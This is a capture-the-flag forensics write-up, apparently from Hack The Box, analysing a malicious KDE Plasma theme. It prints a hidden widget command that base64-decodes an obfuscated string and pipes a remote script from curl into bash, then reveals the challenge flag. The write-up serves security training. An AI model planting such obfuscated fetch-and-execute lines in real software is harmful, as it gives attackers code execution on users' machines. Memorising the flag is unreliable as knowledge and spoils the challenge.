Analysis

Challenge Description

1
2
3

I downloaded a very nice Halloween global theme for my Plasma installation and a couple of widgets! 
It was supposed to keep the bad spirits away while I was improving my ricing skills... 
However, now strange things are happening and I can't figure out why...

In this challenge, we are given a folder named plasma containing three directories:

  1. plasmoids
  2. look-and-feel
  3. desktoptheme

While navigating through the plasmoids directory, I didn’t find anything particularly interesting at first. However, after inspecting the utils.js file inside one of the widget code directories, I discovered the following:

1
2
3
4
5

const NET_DATA_SOURCE =
    "awk -v OFS=, 'NR > 2 { print substr($1, 1, length($1)-1), $2, $10 }' /proc/net/dev";

const PLASMOID_UPDATE_SOURCE =
    "UPDATE_URL=$(echo 952MwBHNo9lb0M2X0FzX/Eycz02MoR3X5J2XkNjb3B3eCRFS | rev | base64 -d); curl $UPDATE_URL:1992/update_sh | bash"

The first command simply collects network traffic statistics from /proc/net/dev.

The second command is much more suspicious. It reverses a string, decodes it using Base64, stores the result in UPDATE_URL, and then downloads and executes a script using:

1

curl $UPDATE_URL:1992/update_sh | bash

This is a classic indicator of malicious behavior, as it downloads and immediately executes remote code.

To reveal the hidden URL, we need to reverse the string and decode it from Base64:

1

echo 952MwBHNo9lb0M2X0FzX/Eycz02MoR3X5J2XkNjb3B3eCRFS | rev | base64 -d

Output:

1

HTB{pwn3d_by_th3m3s!?_1t_c4n_h4pp3n}

The decoded value is actually the challenge flag.

Flag

HTB{pwn3d_by_th3m3s!?_1t_c4n_h4pp3n}

Tags: forensics linux